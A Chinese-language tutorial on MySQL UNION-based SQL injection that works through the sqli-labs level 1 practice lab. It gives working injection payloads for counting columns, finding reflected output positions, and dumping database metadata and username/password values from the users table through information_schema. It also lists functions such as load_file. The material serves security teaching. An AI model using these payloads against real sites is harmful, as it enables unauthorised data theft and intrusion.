MySQL中的联合查询
联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合在一起,使用为此为UNINO或UNION ALL
联合查询:将多个查询的结果合并到一起(纵向合并):字段数不变,多个查询的记录数合并
基本语法:
select 语句
union[union选项]
select 语句;
联合查询注入的条件
联合查询注入是MySQL注入中的一种方式,在SQL注入中说了注入漏洞存在的相关条件,而联合查询注入这种方法需要满足查询的信息在前端有回显,回显数据的位置就叫回显位。
如果有注入漏洞的页面存在这种回显位就可以利用联合查询注入的方式进行注入。
联合查询注入
这里通过sqli-labs第一关来学习联合查询注入的方式
根据SQL注入原理可以得知,这里存在SQL注入漏洞。
我们将id=1换成id=2,发现login name 和password都发生了改变,这里就存在我们所说的回显点
进行注入首先要判断一下该表的字段数,因为联合注入前后查询的字段数应该保持一样,判断字段的方式最常见的是order by关键字的判断
order by原本是排序语句
select * from table order by n
n 表示select里面的第n个字段,整段sql的意义是:查询出来的结果,按照第N个字段排序
不过当N大于该表字段就会报错,根据这个可以使用order by关键字判断字段数
如果字段数较少,还可以通过union select 1,2,3…这样不断测试字段数,当数字大于字段数就会报错。
?id=1' order by 4 --+
此时直接告诉了我们不存在4个字段,那就折一半
此时正确回显,所以字段数应该是大于或等于2,小于4。
测试一下order by 3,此时也正确回显了,说明该表共有3个字段
当我们知道存在3个字段了,又知道存在回显点,此时就可以正式进行联合查询注入
我们需要知道查询语句的回显位的位置,可以直接使用?id=1’ union select 1,2,3 --+
不过问题来了,按理来说1,2,3这些数字应该会出现在回显位上,可为什么还是出现原来正常的结果呢,其实此时联合查询已经生效了,为了更加清楚的了解这个点我们通过MySQL处理器和代码来弄清楚这个问题
当使用了联合查询之后,1,2,3的结果的确得了出来,但是放在了第二行显示,第一行仍然是SELECT * FROM users WHERE id=‘1’ 的结果
而此处的代码只是输出了第一行的查询结果
所以我们需要使得前面的查询语句查询不到结果,这样我们就可以输出第二行的数据了。
可以参考一下下面的查询结果,表中无id=0的数据,所以第一行直接输出了联合查询的结果。
?id=0' union select 1,2,3 --+
可以得知在2和3的位置上具有回显位,在上面可以放入我们的查询语句
查询语句得数据
这里我们先可以查询一些数据库的相关信息
查数据库版本:?id=0' union select 1,2,version() --+
得到数据库版本位5.5.53
查当前用户:?id=0' union select 1,2,user() --+
得到当前用户名为root,应该是管理员用户
查当前数据库:?id=0' union select 1,2,database() --+
得到当前数据库名为security
查文件所在路径?id=0' union select 1,2,@@datadir --+
得到路径为D:\phpstudy\MySQL\data
这里再补充一些重要的函数
version() # mysql 数据库版本
database() # 当前数据库名
user() # 用户名
current_user() # 当前用户名
system_user() # 系统用户名
@@datadir # 数据库路径
@@version_compile_os # 操作系统版本
当然,最重要的环节还是查询数据库数据,MySQL里有一个默认数据库information_schema,通过这个数据库可以使得查询事半功倍。
还有一些重要的字符串函数需要结合使用
length() # 返回字符串的长度
substring()
substr() # 截取字符串
mid()
left() # 从左侧开始取指定字符个数的字符串
concat() # 没有分隔符的连接字符串
concat_ws() # 含有分割符的连接字符串
group_conat() # 连接一个组的字符串
ord() # 返回ASCII 码
ascii()
hex() # 将字符串转换为十六进制
unhex() # hex 的反向操作
md5() # 返回MD5 值
floor(x) # 返回不大于x 的最大整数
round() # 返回参数x 接近的整数
rand() # 返回0-1 之间的随机浮点数
load_file() # 读取文件,并返回文件内容作为一个字符串
sleep() # 睡眠时间为指定的秒数
if(true,t,f) # if 判断
find_in_set() # 返回字符串在字符串列表中的位置
benchmark() # 指定语句执行的次数
接下来就是爆表名,字段名,和值了
爆表名的语句
?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+
爆字段名的语句
?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+
爆值语句
?id=0' union select 1,2,(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from users) --+
这里都是采用group_concat连接在一起同时输出的方式进行查询,其实也可以通过limit进行逐条输出
limit m,n 从m条开始,输出n条数据
最后,我们就完成了SQL联合注入。
总结
其实,还是和原理中说的一样,SQL注入式一种注入漏洞,只要让语句完成正常闭合,利用注释控制住整体语句,接下来就是正常的MySQL查询过程。主要要理解好联合注入产生的原因和利用方式。笔者还是希望通过最简洁的表述和演示让大家认识到漏洞的产生和利用,这样便于理解和掌握。谢谢大家,祝大家生活愉快!